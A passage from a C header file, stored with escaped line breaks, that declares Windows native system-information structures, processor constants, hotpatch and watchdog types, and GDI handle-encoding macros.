OpcodeOUTW;\r\n\tULONG OpcodeLOCKPrefix;\r\n\tULONG OpcodeREPNEPrefix;\r\n\tULONG OpcodeREPPrefix;\r\n\tULONG OpcodeHLT;\r\n\tULONG OpcodeCLI;\r\n\tULONG OpcodeSTI;\r\n\tULONG BopCount;\r\n} SYSTEM_VDM_INSTEMUL_INFO, *PSYSTEM_VDM_INSTEMUL_INFO;\r\n\r\ntypedef struct _SYSTEM_TIMEOFDAY_INFORMATION\r\n{\r\n\tLARGE_INTEGER BootTime;\r\n\tLARGE_INTEGER CurrentTime;\r\n\tLARGE_INTEGER TimeZoneBias;\r\n\tULONG TimeZoneId;\r\n\tULONG Reserved;\r\n\tULONGLONG BootTimeBias;\r\n\tULONGLONG SleepTimeBias;\r\n} SYSTEM_TIMEOFDAY_INFORMATION, *PSYSTEM_TIMEOFDAY_INFORMATION;\r\n\r\n#if defined(_M_X64)\r\ntypedef ULONG SYSINF_PAGE_COUNT;\r\n#else\r\ntypedef SIZE_T SYSINF_PAGE_COUNT;\r\n#endif\r\n\r\ntypedef struct _SYSTEM_BASIC_INFORMATION {\r\n\tULONG Reserved;\r\n\tULONG TimerResolution;\r\n\tULONG PageSize;\r\n\tSYSINF_PAGE_COUNT NumberOfPhysicalPages;\r\n\tSYSINF_PAGE_COUNT LowestPhysicalPageNumber;\r\n\tSYSINF_PAGE_COUNT HighestPhysicalPageNumber;\r\n\tULONG AllocationGranularity;\r\n\tULONG_PTR MinimumUserModeAddress;\r\n\tULONG_PTR MaximumUserModeAddress;\r\n\tULONG_PTR ActiveProcessorsAffinityMask;\r\n\tCCHAR NumberOfProcessors;\r\n} SYSTEM_BASIC_INFORMATION, *PSYSTEM_BASIC_INFORMATION;\r\n\r\ntypedef struct _SYSTEM_PROCESSOR_INFORMATION {\r\n\tUSHORT ProcessorArchitecture;\r\n\tUSHORT ProcessorLevel;\r\n\tUSHORT ProcessorRevision;\r\n\tUSHORT Reserved;\r\n\tULONG ProcessorFeatureBits;\r\n} SYSTEM_PROCESSOR_INFORMATION, *PSYSTEM_PROCESSOR_INFORMATION;\r\n\r\ntypedef struct _SYSTEM_PROCESSOR_PERFORMANCE_INFORMATION {\r\n\tLARGE_INTEGER IdleTime;\r\n\tLARGE_INTEGER KernelTime;\r\n\tLARGE_INTEGER UserTime;\r\n\tLARGE_INTEGER DpcTime;          // Checked Build\r\n\tLARGE_INTEGER InterruptTime;    // Checked Build\r\n\tULONG InterruptCount;\r\n} SYSTEM_PROCESSOR_PERFORMANCE_INFORMATION, *PSYSTEM_PROCESSOR_PERFORMANCE_INFORMATION;\r\n\r\ntypedef struct _SYSTEM_PROCESSOR_IDLE_INFORMATION {\r\n\tULONGLONG IdleTime;\r\n\tULONGLONG C1Time;\r\n\tULONGLONG C2Time;\r\n\tULONGLONG C3Time;\r\n\tULONG     C1Transitions;\r\n\tULONG     C2Transitions;\r\n\tULONG     C3Transitions;\r\n\tULONG     Padding;\r\n} SYSTEM_PROCESSOR_IDLE_INFORMATION, *PSYSTEM_PROCESSOR_IDLE_INFORMATION;\r\n\r\ntypedef struct _SYSTEM_NUMA_INFORMATION {\r\n\tULONG HighestNodeNumber;\r\n\tULONG Reserved;\r\n\tunion {\r\n\t\tULONG64 ActiveProcessorsAffinityMask[ 16 ];\r\n\t\tULONG64 AvailableMemory[ 16 ];\r\n\t};\r\n} SYSTEM_NUMA_INFORMATION, *PSYSTEM_NUMA_INFORMATION;\r\n\r\n#if !defined(_WINNT_)\r\n\r\ntypedef enum _LOGICAL_PROCESSOR_RELATIONSHIP\r\n{\r\n\tRelationProcessorCore,\r\n\tRelationNumaNode,\r\n\tRelationCache,\r\n\tRelationProcessorPackage\r\n} LOGICAL_PROCESSOR_RELATIONSHIP;\r\n\r\ntypedef enum _PROCESSOR_CACHE_TYPE\r\n{\r\n\tCacheUnified,\r\n\tCacheInstruction,\r\n\tCacheData,\r\n\tCacheTrace\r\n} PROCESSOR_CACHE_TYPE;\r\n\r\n#define CACHE_FULLY_ASSOCIATIVE 0xFF\r\n\r\ntypedef struct _CACHE_DESCRIPTOR\r\n{\r\n\tBYTE   Level;\r\n\tBYTE   Associativity;\r\n\tWORD   LineSize;\r\n\tDWORD  Size;\r\n\tPROCESSOR_CACHE_TYPE Type;\r\n} CACHE_DESCRIPTOR, *PCACHE_DESCRIPTOR;\r\n\r\ntypedef struct _SYSTEM_LOGICAL_PROCESSOR_INFORMATION {\r\n\tULONG_PTR   ProcessorMask;\r\n\tLOGICAL_PROCESSOR_RELATIONSHIP Relationship;\r\n\tunion {\r\n\t\tstruct {\r\n\t\t\tBYTE  Flags;\r\n\t\t} ProcessorCore;\r\n\t\tstruct {\r\n\t\t\tDWORD NodeNumber;\r\n\t\t} NumaNode;\r\n\t\tCACHE_DESCRIPTOR Cache;\r\n\t\tULONGLONG  Reserved[2];\r\n\t};\r\n} SYSTEM_LOGICAL_PROCESSOR_INFORMATION, *PSYSTEM_LOGICAL_PROCESSOR_INFORMATION;\r\n\r\n#define PROCESSOR_INTEL_386     386\r\n#define PROCESSOR_INTEL_486     486\r\n#define PROCESSOR_INTEL_PENTIUM 586\r\n#define PROCESSOR_INTEL_IA64    2200\r\n#define PROCESSOR_AMD_X8664     8664\r\n#define PROCESSOR_MIPS_R4000    4000    // incl R4101 & R3910 for Windows CE\r\n#define PROCESSOR_ALPHA_21064   21064\r\n#define PROCESSOR_PPC_601       601\r\n#define PROCESSOR_PPC_603       603\r\n#define PROCESSOR_PPC_604       604\r\n#define PROCESSOR_PPC_620       620\r\n#define PROCESSOR_HITACHI_SH3   10003   // Windows CE\r\n#define PROCESSOR_HITACHI_SH3E  10004   // Windows CE\r\n#define PROCESSOR_HITACHI_SH4   10005   // Windows CE\r\n#define PROCESSOR_MOTOROLA_821  821     // Windows CE\r\n#define PROCESSOR_SHx_SH3       103     // Windows CE\r\n#define PROCESSOR_SHx_SH4       104     // Windows CE\r\n#define PROCESSOR_STRONGARM     2577    // Windows CE - 0xA11\r\n#define PROCESSOR_ARM720        1824    // Windows CE - 0x720\r\n#define PROCESSOR_ARM820        2080    // Windows CE - 0x820\r\n#define PROCESSOR_ARM920        2336    // Windows CE - 0x920\r\n#define PROCESSOR_ARM_7TDMI     70001   // Windows CE\r\n#define PROCESSOR_OPTIL         0x494f  // MSIL\r\n\r\n#define PROCESSOR_ARCHITECTURE_INTEL            0\r\n#define PROCESSOR_ARCHITECTURE_MIPS             1\r\n#define PROCESSOR_ARCHITECTURE_ALPHA            2\r\n#define PROCESSOR_ARCHITECTURE_PPC              3\r\n#define PROCESSOR_ARCHITECTURE_SHX              4\r\n#define PROCESSOR_ARCHITECTURE_ARM              5\r\n#define PROCESSOR_ARCHITECTURE_IA64             6\r\n#define PROCESSOR_ARCHITECTURE_ALPHA64          7\r\n#define PROCESSOR_ARCHITECTURE_MSIL             8\r\n#define PROCESSOR_ARCHITECTURE_AMD64            9\r\n#define PROCESSOR_ARCHITECTURE_IA32_ON_WIN64    10\r\n\r\n#define PROCESSOR_ARCHITECTURE_UNKNOWN 0xFFFF\r\n\r\n#define PF_FLOATING_POINT_PRECISION_ERRATA  0   \r\n#define PF_FLOATING_POINT_EMULATED          1   \r\n#define PF_COMPARE_EXCHANGE_DOUBLE          2   \r\n#define PF_MMX_INSTRUCTIONS_AVAILABLE       3   \r\n#define PF_PPC_MOVEMEM_64BIT_OK             4   \r\n#define PF_ALPHA_BYTE_INSTRUCTIONS          5   \r\n#define PF_XMMI_INSTRUCTIONS_AVAILABLE      6   \r\n#define PF_3DNOW_INSTRUCTIONS_AVAILABLE     7   \r\n#define PF_RDTSC_INSTRUCTION_AVAILABLE      8   \r\n#define PF_PAE_ENABLED                      9   \r\n#define PF_XMMI64_INSTRUCTIONS_AVAILABLE   10   \r\n#define PF_SSE_DAZ_MODE_AVAILABLE          11   \r\n#define PF_NX_ENABLED                      12   \r\n#define PF_SSE3_INSTRUCTIONS_AVAILABLE     13   \r\n#define PF_COMPARE_EXCHANGE128             14   \r\n#define PF_COMPARE64_EXCHANGE128           15   \r\n#define PF_CHANNELS_ENABLED                16   \r\n\r\ntypedef struct _MEMORY_BASIC_INFORMATION\r\n{\r\n\tPVOID BaseAddress;\r\n\tPVOID AllocationBase;\r\n\tDWORD AllocationProtect;\r\n\tSIZE_T RegionSize;\r\n\tDWORD State;\r\n\tDWORD Protect;\r\n\tDWORD Type;\r\n} MEMORY_BASIC_INFORMATION, *PMEMORY_BASIC_INFORMATION;\r\n\r\n#endif /*_WINNT_*/\r\n\r\ntypedef struct _SYSTEM_PROCESSOR_POWER_INFORMATION {\r\n\tUCHAR\t\t\tCurrentFrequency;\r\n\tUCHAR\t\t\tThermalLimitFrequency;\r\n\tUCHAR\t\t\tConstantThrottleFrequency;\r\n\tUCHAR\t\t\tDegradedThrottleFrequency;\r\n\tUCHAR\t\t\tLastBusyFrequency;\r\n\tUCHAR\t\t\tLastC3Frequency;\r\n\tUCHAR\t\t\tLastAdjustedBusyFrequency;\r\n\tUCHAR\t\t\tProcessorMinThrottle;\r\n\tUCHAR\t\t\tProcessorMaxThrottle;\r\n\tULONG\t\t\tNumberOfFrequencies;\r\n\tULONG\t\t\tPromotionCount;\r\n\tULONG\t\t\tDemotionCount;\r\n\tULONG\t\t\tErrorCount;\r\n\tULONG\t\t\tRetryCount;\r\n\tULONG64   CurrentFrequencyTime;\r\n\tULONG64   CurrentProcessorTime;\r\n\tULONG64   CurrentProcessorIdleTime;\r\n\tULONG64   LastProcessorTime;\r\n\tULONG64   LastProcessorIdleTime;\r\n} SYSTEM_PROCESSOR_POWER_INFORMATION, *PSYSTEM_PROCESSOR_POWER_INFORMATION;\r\n\r\ntypedef struct _SYSTEM_QUERY_TIME_ADJUST_INFORMATION {\r\n\tULONG TimeAdjustment;\r\n\tULONG TimeIncrement;\r\n\tBOOLEAN Enable;\r\n} SYSTEM_QUERY_TIME_ADJUST_INFORMATION, *PSYSTEM_QUERY_TIME_ADJUST_INFORMATION;\r\n\r\ntypedef struct _SYSTEM_SET_TIME_ADJUST_INFORMATION {\r\n\tULONG TimeAdjustment;\r\n\tBOOLEAN Enable;\r\n} SYSTEM_SET_TIME_ADJUST_INFORMATION, *PSYSTEM_SET_TIME_ADJUST_INFORMATION;\r\n\r\ntypedef struct _SYSTEM_PERFORMANCE_INFORMATION {\r\n\tLARGE_INTEGER IdleProcessTime;\r\n\tLARGE_INTEGER IoReadTransferCount;\r\n\tLARGE_INTEGER IoWriteTransferCount;\r\n\tLARGE_INTEGER IoOtherTransferCount;\r\n\tULONG IoReadOperationCount;\r\n\tULONG IoWriteOperationCount;\r\n\tULONG IoOtherOperationCount;\r\n\tULONG AvailablePages;\r\n\tSYSINF_PAGE_COUNT CommittedPages;\r\n\tSYSINF_PAGE_COUNT CommitLimit;\r\n\tSYSINF_PAGE_COUNT PeakCommitment;\r\n\tULONG PageFaultCount;\r\n\tULONG CopyOnWriteCount;\r\n\tULONG TransitionCount;\r\n\tULONG CacheTransitionCount;\r\n\tULONG DemandZeroCount;\r\n\tULONG PageReadCount;\r\n\tULONG PageReadIoCount;\r\n\tULONG CacheReadCount;\r\n\tULONG CacheIoCount;\r\n\tULONG DirtyPagesWriteCount;\r\n\tULONG DirtyWriteIoCount;\r\n\tULONG MappedPagesWriteCount;\r\n\tULONG MappedWriteIoCount;\r\n\tULONG PagedPoolPages;\r\n\tULONG NonPagedPoolPages;\r\n\tULONG PagedPoolAllocs;\r\n\tULONG PagedPoolFrees;\r\n\tULONG NonPagedPoolAllocs;\r\n\tULONG NonPagedPoolFrees;\r\n\tULONG FreeSystemPtes;\r\n\tULONG ResidentSystemCodePage;\r\n\tULONG TotalSystemDriverPages;\r\n\tULONG TotalSystemCodePages;\r\n\tULONG NonPagedPoolLookasideHits;\r\n\tULONG PagedPoolLookasideHits;\r\n\tULONG AvailablePagedPoolPages;\r\n\tULONG ResidentSystemCachePage;\r\n\tULONG ResidentPagedPoolPage;\r\n\tULONG ResidentSystemDriverPage;\r\n\tULONG CcFastReadNoWait;\r\n\tULONG CcFastReadWait;\r\n\tULONG CcFastReadResourceMiss;\r\n\tULONG CcFastReadNotPossible;\r\n\tULONG CcFastMdlReadNoWait;\r\n\tULONG CcFastMdlReadWait;\r\n\tULONG CcFastMdlReadResourceMiss;\r\n\tULONG CcFastMdlReadNotPossible;\r\n\tULONG CcMapDataNoWait;\r\n\tULONG CcMapDataWait;\r\n\tULONG CcMapDataNoWaitMiss;\r\n\tULONG CcMapDataWaitMiss;\r\n\tULONG CcPinMappedDataCount;\r\n\tULONG CcPinReadNoWait;\r\n\tULONG CcPinReadWait;\r\n\tULONG CcPinReadNoWaitMiss;\r\n\tULONG CcPinReadWaitMiss;\r\n\tULONG CcCopyReadNoWait;\r\n\tULONG CcCopyReadWait;\r\n\tULONG CcCopyReadNoWaitMiss;\r\n\tULONG CcCopyReadWaitMiss;\r\n\tULONG CcMdlReadNoWait;\r\n\tULONG CcMdlReadWait;\r\n\tULONG CcMdlReadNoWaitMiss;\r\n\tULONG CcMdlReadWaitMiss;\r\n\tULONG CcReadAheadIos;\r\n\tULONG CcLazyWriteIos;\r\n\tULONG CcLazyWritePages;\r\n\tULONG CcDataFlushes;\r\n\tULONG CcDataPages;\r\n\tULONG ContextSwitches;\r\n\tULONG FirstLevelTbFills;\r\n\tULONG SecondLevelTbFills;\r\n\tULONG SystemCalls;\r\n} SYSTEM_PERFORMANCE_INFORMATION, *PSYSTEM_PERFORMANCE_INFORMATION;\r\n\r\ntypedef struct _SYSTEM_PROCESS_INFORMATION {\r\n\tULONG NextEntryOffset;\r\n\tULONG NumberOfThreads;\r\n\tLARGE_INTEGER SpareLi1;\r\n\tLARGE_INTEGER SpareLi2;\r\n\tLARGE_INTEGER SpareLi3;\r\n\tLARGE_INTEGER CreateTime;\r\n\tLARGE_INTEGER UserTime;\r\n\tLARGE_INTEGER KernelTime;\r\n\tUNICODE_STRING ImageName;\r\n\tKPRIORITY BasePriority;\r\n\tHANDLE UniqueProcessId;\r\n\tHANDLE InheritedFromUniqueProcessId;\r\n\tULONG HandleCount;\r\n\tULONG SessionId;\r\n\tULONG_PTR PageDirectoryBase;\r\n\tSIZE_T PeakVirtualSize;\r\n\tSIZE_T VirtualSize;\r\n\tULONG PageFaultCount;\r\n\tSIZE_T PeakWorkingSetSize;\r\n\tSIZE_T WorkingSetSize;\r\n\tSIZE_T QuotaPeakPagedPoolUsage;\r\n\tSIZE_T QuotaPagedPoolUsage;\r\n\tSIZE_T QuotaPeakNonPagedPoolUsage;\r\n\tSIZE_T QuotaNonPagedPoolUsage;\r\n\tSIZE_T PagefileUsage;\r\n\tSIZE_T PeakPagefileUsage;\r\n\tSIZE_T PrivatePageCount;\r\n\tLARGE_INTEGER ReadOperationCount;\r\n\tLARGE_INTEGER WriteOperationCount;\r\n\tLARGE_INTEGER OtherOperationCount;\r\n\tLARGE_INTEGER ReadTransferCount;\r\n\tLARGE_INTEGER WriteTransferCount;\r\n\tLARGE_INTEGER OtherTransferCount;\r\n} SYSTEM_PROCESS_INFORMATION, *PSYSTEM_PROCESS_INFORMATION;\r\n\r\ntypedef struct _SYSTEM_SESSION_PROCESS_INFORMATION {\r\n\tULONG SessionId;\r\n\tULONG SizeOfBuf;\r\n\tPVOID Buffer;\r\n} SYSTEM_SESSION_PROCESS_INFORMATION, *PSYSTEM_SESSION_PROCESS_INFORMATION;\r\n\r\ntypedef struct _SYSTEM_MEMORY_INFO {\r\n\tPUCHAR StringOffset;\r\n\tUSHORT ValidCount;\r\n\tUSHORT TransitionCount;\r\n\tUSHORT ModifiedCount;\r\n\tUSHORT PageTableCount;\r\n} SYSTEM_MEMORY_INFO, *PSYSTEM_MEMORY_INFO;\r\n\r\ntypedef struct _SYSTEM_MEMORY_INFORMATION {\r\n\tULONG InfoSize;\r\n\tULONG_PTR StringStart;\r\n\tSYSTEM_MEMORY_INFO Memory[ 1 ];\r\n} SYSTEM_MEMORY_INFORMATION, *PSYSTEM_MEMORY_INFORMATION;\r\n\r\ntypedef struct _SYSTEM_CALL_COUNT_INFORMATION {\r\n\tULONG Length;\r\n\tULONG NumberOfTables;\r\n} SYSTEM_CALL_COUNT_INFORMATION, *PSYSTEM_CALL_COUNT_INFORMATION;\r\n\r\ntypedef struct _SYSTEM_DEVICE_INFORMATION {\r\n\tULONG NumberOfDisks;\r\n\tULONG NumberOfFloppies;\r\n\tULONG NumberOfCdRoms;\r\n\tULONG NumberOfTapes;\r\n\tULONG NumberOfSerialPorts;\r\n\tULONG NumberOfParallelPorts;\r\n} SYSTEM_DEVICE_INFORMATION, *PSYSTEM_DEVICE_INFORMATION;\r\n\r\ntypedef struct _SYSTEM_FLAGS_INFORMATION {\r\n\tULONG Flags;\r\n} SYSTEM_FLAGS_INFORMATION, *PSYSTEM_FLAGS_INFORMATION;\r\n\r\ntypedef struct _SYSTEM_CALL_TIME_INFORMATION {\r\n\tULONG Length;\r\n\tULONG TotalCalls;\r\n\tLARGE_INTEGER TimeOfCalls[1];\r\n} SYSTEM_CALL_TIME_INFORMATION, *PSYSTEM_CALL_TIME_INFORMATION;\r\n\r\ntypedef struct _SYSTEM_OBJECT_INFORMATION {\r\n\tULONG NextEntryOffset;\r\n\tPVOID Object;\r\n\tHANDLE CreatorUniqueProcess;\r\n\tUSHORT CreatorBackTraceIndex;\r\n\tUSHORT Flags;\r\n\tLONG PointerCount;\r\n\tLONG HandleCount;\r\n\tULONG PagedPoolCharge;\r\n\tULONG NonPagedPoolCharge;\r\n\tHANDLE ExclusiveProcessId;\r\n\tPVOID SecurityDescriptor;\r\n\tOBJECT_NAME_INFORMATION NameInfo;\r\n} SYSTEM_OBJECT_INFORMATION, *PSYSTEM_OBJECT_INFORMATION;\r\n\r\ntypedef struct _SYSTEM_PAGEFILE_INFORMATION {\r\n\tULONG NextEntryOffset;\r\n\tULONG TotalSize;\r\n\tULONG TotalInUse;\r\n\tULONG PeakUsage;\r\n\tUNICODE_STRING PageFileName;\r\n} SYSTEM_PAGEFILE_INFORMATION, *PSYSTEM_PAGEFILE_INFORMATION;\r\n\r\ntypedef struct _SYSTEM_VERIFIER_INFORMATION {\r\n\tULONG NextEntryOffset;\r\n\tULONG Level;\r\n\tUNICODE_STRING DriverName;\r\n\r\n\tULONG RaiseIrqls;\r\n\tULONG AcquireSpinLocks;\r\n\tULONG SynchronizeExecutions;\r\n\tULONG AllocationsAttempted;\r\n\r\n\tULONG AllocationsSucceeded;\r\n\tULONG AllocationsSucceededSpecialPool;\r\n\tULONG AllocationsWithNoTag;\r\n\tULONG TrimRequests;\r\n\r\n\tULONG Trims;\r\n\tULONG AllocationsFailed;\r\n\tULONG AllocationsFailedDeliberately;\r\n\tULONG Loads;\r\n\r\n\tULONG Unloads;\r\n\tULONG UnTrackedPool;\r\n\tULONG CurrentPagedPoolAllocations;\r\n\tULONG CurrentNonPagedPoolAllocations;\r\n\r\n\tULONG PeakPagedPoolAllocations;\r\n\tULONG PeakNonPagedPoolAllocations;\r\n\r\n\tSIZE_T PagedPoolUsageInBytes;\r\n\tSIZE_T NonPagedPoolUsageInBytes;\r\n\tSIZE_T PeakPagedPoolUsageInBytes;\r\n\tSIZE_T PeakNonPagedPoolUsageInBytes;\r\n\r\n} SYSTEM_VERIFIER_INFORMATION, *PSYSTEM_VERIFIER_INFORMATION;\r\n\r\ntypedef struct _SYSTEM_VERIFIER_INFORMATION_EX\r\n{\r\n\tULONG VerifyMode;\r\n\tULONG OptionChanges;\r\n\tUNICODE_STRING PreviousBucketName;\r\n\tULONG Reserved[ 4 ];\r\n} SYSTEM_VERIFIER_INFORMATION_EX, *PSYSTEM_VERIFIER_INFORMATION_EX;\r\n\r\n#define MM_WORKING_SET_MAX_HARD_ENABLE      0x1\r\n#define MM_WORKING_SET_MAX_HARD_DISABLE     0x2\r\n#define MM_WORKING_SET_MIN_HARD_ENABLE      0x4\r\n#define MM_WORKING_SET_MIN_HARD_DISABLE     0x8\r\n\r\ntypedef struct _SYSTEM_FILECACHE_INFORMATION {\r\n\tSIZE_T CurrentSize;\r\n\tSIZE_T PeakSize;\r\n\tULONG PageFaultCount;\r\n\tSIZE_T MinimumWorkingSet;\r\n\tSIZE_T MaximumWorkingSet;\r\n\tSIZE_T CurrentSizeIncludingTransitionInPages;\r\n\tSIZE_T PeakSizeIncludingTransitionInPages;\r\n\tULONG TransitionRePurposeCount;\r\n\tULONG Flags;\r\n} SYSTEM_FILECACHE_INFORMATION, *PSYSTEM_FILECACHE_INFORMATION;\r\n\r\n#define FLG_HOTPATCH_KERNEL             0x80000000\r\n#define FLG_HOTPATCH_RELOAD_NTDLL       0x40000000\r\n#define FLG_HOTPATCH_NAME_INFO          0x20000000\r\n#define FLG_HOTPATCH_RENAME_INFO        0x10000000\r\n#define FLG_HOTPATCH_MAP_ATOMIC_SWAP    0x08000000\r\n#define FLG_HOTPATCH_WOW64              0x04000000\r\n\r\n#define FLG_HOTPATCH_ACTIVE             0x00000001\r\n#define FLG_HOTPATCH_STATUS_FLAGS       FLG_HOTPATCH_ACTIVE\r\n\r\n#define FLG_HOTPATCH_VERIFICATION_ERROR 0x00800000\r\n\r\ntypedef struct _HOTPATCH_HOOK_DESCRIPTOR\r\n{\r\n\tULONG_PTR TargetAddress;\r\n\tPVOID MappedAddress;\r\n\tULONG CodeOffset;\r\n\tULONG CodeSize;\r\n\tULONG OrigCodeOffset;\r\n\tULONG ValidationOffset;\r\n\tULONG ValidationSize;\r\n} HOTPATCH_HOOK_DESCRIPTOR, *PHOTPATCH_HOOK_DESCRIPTOR;\r\n\r\ntypedef struct _SYSTEM_HOTPATCH_CODE_INFORMATION {\r\n\r\n\tULONG Flags;\r\n\tULONG InfoSize;\r\n\r\n\tunion\r\n\t{\r\n\t\tstruct\r\n\t\t{\r\n\t\t\tULONG DescriptorsCount;\r\n\t\t\tHOTPATCH_HOOK_DESCRIPTOR CodeDescriptors[1]; // variable size structure\r\n\t\t} CodeInfo;\r\n\t\t\r\n\t\tstruct\r\n\t\t{\r\n\t\t\tUSHORT NameOffset;\r\n\t\t\tUSHORT NameLength;\r\n\t\t} KernelInfo;\r\n\t\t\r\n\t\tstruct\r\n\t\t{\r\n\t\t\tUSHORT NameOffset;\r\n\t\t\tUSHORT NameLength;\r\n\t\t\tUSHORT TargetNameOffset;\r\n\t\t\tUSHORT TargetNameLength;\r\n\t\t} UserModeInfo;\r\n\t\t\r\n\t\tstruct\r\n\t\t{\r\n\t\t\tHANDLE FileHandle1;\r\n\t\t\tPIO_STATUS_BLOCK IoStatusBlock1;\r\n\t\t\tPFILE_RENAME_INFORMATION RenameInformation1;\r\n\t\t\tULONG RenameInformationLength1;\r\n\t\t\tHANDLE FileHandle2;\r\n\t\t\tPIO_STATUS_BLOCK IoStatusBlock2;\r\n\t\t\tPFILE_RENAME_INFORMATION RenameInformation2;\r\n\t\t\tULONG RenameInformationLength2;\r\n\t\t} RenameInfo;\r\n\r\n\t\tstruct\r\n\t\t{\r\n\t\t\tHANDLE ParentDirectory;\r\n\t\t\tHANDLE ObjectHandle1;\r\n\t\t\tHANDLE ObjectHandle2;\r\n\t\t} AtomicSwap;\r\n\t};\r\n\r\n} SYSTEM_HOTPATCH_CODE_INFORMATION, *PSYSTEM_HOTPATCH_CODE_INFORMATION;\r\n\r\ntypedef struct _KERNEL_USER_TIMES {\r\n\tLARGE_INTEGER CreateTime;\r\n\tLARGE_INTEGER ExitTime;\r\n\tLARGE_INTEGER KernelTime;\r\n\tLARGE_INTEGER UserTime;\r\n} KERNEL_USER_TIMES;\r\ntypedef KERNEL_USER_TIMES *PKERNEL_USER_TIMES;\r\n\r\ntypedef enum _WATCHDOG_HANDLER_ACTION\r\n{\r\n\tWdActionSetTimeoutValue,\r\n\tWdActionQueryTimeoutValue,\r\n\tWdActionResetTimer,\r\n\tWdActionStopTimer,\r\n\tWdActionStartTimer,\r\n\tWdActionSetTriggerAction,\r\n\tWdActionQueryTriggerAction,\r\n\tWdActionQueryState,\r\n\tWdActionSleep,\r\n\tWdActionWake\r\n} WATCHDOG_HANDLER_ACTION;\r\n\r\ntypedef enum _WATCHDOG_INFORMATION_CLASS {\r\n\tWdInfoTimeoutValue,\r\n\tWdInfoResetTimer,\r\n\tWdInfoStopTimer,\r\n\tWdInfoStartTimer,\r\n\tWdInfoTriggerAction,\r\n\tWdInfoState\r\n} WATCHDOG_INFORMATION_CLASS;\r\n\r\ntypedef\r\n\tNTSTATUS\r\n\t(*PWD_HANDLER)(\r\n\tIN WATCHDOG_HANDLER_ACTION Action,\r\n\tIN PVOID Context,\r\n\t_Inout_ PULONG DataValue,\r\n\tIN BOOLEAN NoLocks\r\n\t);\r\n\r\ntypedef struct _SYSTEM_WATCHDOG_HANDLER_INFORMATION {\r\n\tPWD_HANDLER WdHandler;\r\n\tPVOID       Context;\r\n} SYSTEM_WATCHDOG_HANDLER_INFORMATION, *PSYSTEM_WATCHDOG_HANDLER_INFORMATION;\r\n\r\n#define WDSTATE_FIRED               0x00000001\r\n#define WDSTATE_HARDWARE_ENABLED    0x00000002\r\n#define WDSTATE_STARTED             0x00000004\r\n#define WDSTATE_HARDWARE_PRESENT    0x00000008\r\n\r\ntypedef struct _SYSTEM_WATCHDOG_TIMER_INFORMATION {\r\n\tWATCHDOG_INFORMATION_CLASS  WdInfoClass;\r\n\tULONG                       DataValue;\r\n} SYSTEM_WATCHDOG_TIMER_INFORMATION, *PSYSTEM_WATCHDOG_TIMER_INFORMATION;\r\n\r\n#define GDI_MAX_HANDLE_COUNT 0x4000\r\n\r\n#define GDI_HANDLE_INDEX_SHIFT 0\r\n#define GDI_HANDLE_INDEX_BITS 16\r\n#define GDI_HANDLE_INDEX_MASK 0xffff\r\n\r\n#define GDI_HANDLE_TYPE_SHIFT 16\r\n#define GDI_HANDLE_TYPE_BITS 5\r\n#define GDI_HANDLE_TYPE_MASK 0x1f\r\n\r\n#define GDI_HANDLE_ALTTYPE_SHIFT 21\r\n#define GDI_HANDLE_ALTTYPE_BITS 2\r\n#define GDI_HANDLE_ALTTYPE_MASK 0x3\r\n\r\n#define GDI_HANDLE_STOCK_SHIFT 23\r\n#define GDI_HANDLE_STOCK_BITS 1\r\n#define GDI_HANDLE_STOCK_MASK 0x1\r\n\r\n#define GDI_HANDLE_UNIQUE_SHIFT 24\r\n#define GDI_HANDLE_UNIQUE_BITS 8\r\n#define GDI_HANDLE_UNIQUE_MASK 0xff\r\n\r\n#define GDI_HANDLE_INDEX(Handle) ((ULONG)(Handle) & GDI_HANDLE_INDEX_MASK)\r\n#define GDI_HANDLE_TYPE(Handle) (((ULONG)(Handle) >> GDI_HANDLE_TYPE_SHIFT) & GDI_HANDLE_TYPE_MASK)\r\n#define GDI_HANDLE_ALTTYPE(Handle) (((ULONG)(Handle) >> GDI_HANDLE_ALTTYPE_SHIFT) & GDI_HANDLE_ALTTYPE_MASK)\r\n#define GDI_HANDLE_STOCK(Handle) (((ULONG)(Handle) >> GDI_HANDLE_STOCK_SHIFT)) & GDI_HANDLE_STOCK_MASK)\r\n\r\n#define GDI_MAKE_HANDLE(Index, Unique) ((ULONG)(((ULONG)(Unique) << GDI_HANDLE_INDEX_BITS) | (ULONG)(Index)))\r\n\r\n// GDI server-side types\r\n\r\n#define GDI_DEF_TYPE 0\r\n#define GDI_DC_TYPE 1\r\n#define GDI_DD_DIRECTDRAW_TYPE 2\r\n#define GDI_DD_SURFACE_TYPE 3\r\n#define GDI_RGN_TYPE 4\r\n#define GDI_SURF_TYPE 5\r\n#define GDI_CLIENTOBJ_TYPE 6\r\n#define GDI_PATH_TYPE 7\r\n#define GDI_PAL_TYPE 8\r\n#define GDI_ICMLCS_TYPE 9\r\n#define GDI_LFONT_TYPE 10\r\n#define GDI_RFONT_TYPE 11\r\n#define GDI_PFE_TYPE 12\r\n#define GDI_PFT_TYPE 13\r\n#define GDI_ICMCXF_TYPE 14\r\n#define GDI_ICMDLL_TYPE 15\r\n#define GDI_BRUSH_TYPE 16\r\n#define GDI_PFF_TYPE 17 // unused\r\n#define GDI_CACHE_TYPE 18 // unused\r\n#define GDI_SPACE_TYPE 19\r\n#define GDI_DBRUSH_TYPE 20 // unused\r\n#define GDI_META_TYPE 21\r\n#define GDI_EFSTATE_TYPE 22\r\n#define GDI_BMFD_TYPE 23 // unused\r\n#define GDI_VTFD_TYPE 24 // unused\r\n#define GDI_TTFD_TYPE 25 // unused\r\n#define GDI_RC_TYPE 26 // unused\r\n#define GDI_TEMP_TYPE 27 // unused\r\n#define GDI_DRVOBJ_TYPE 28\r\n#define GDI_DCIOBJ_TYPE 29 // unused\r\n#define GDI_SPOOL_TYPE 30\r\n\r\n// GDI client-side types\r\n\r\n#define GDI_CLIENT_TYPE_FROM_HANDLE(Handle) ((ULONG)(Handle) & ((GDI_HANDLE_ALTTYPE_MASK << GDI_HANDLE_ALTTYPE_SHIFT) | \\\r\n\t(GDI_HANDLE_TYPE_MASK << GDI_HANDLE_TYPE_SHIFT)))\r\n#define GDI_CLIENT_TYPE_FROM_UNIQUE(Unique) GDI_CLIENT_TYPE_FROM_HANDLE((ULONG)(Unique) << 16)\r\n\r\n#define GDI_ALTTYPE_1 (1 << GDI_HANDLE_ALTTYPE_SHIFT)\r\n#define GDI_ALTTYPE_2 (2 << GDI_HANDLE_ALTTYPE_SHIFT)\r\n#define GDI_ALTTYPE_3 (3 << GDI_HANDLE_ALTTYPE_SHIFT)\r\n\r\n#define GDI_CLIENT_BITMAP_TYPE (GDI_SURF_TYPE << GDI_HANDLE_TYPE_SHIFT)\r\n#define GDI_CLIENT_BRUSH_TYPE (GDI_BRUSH_TYPE << 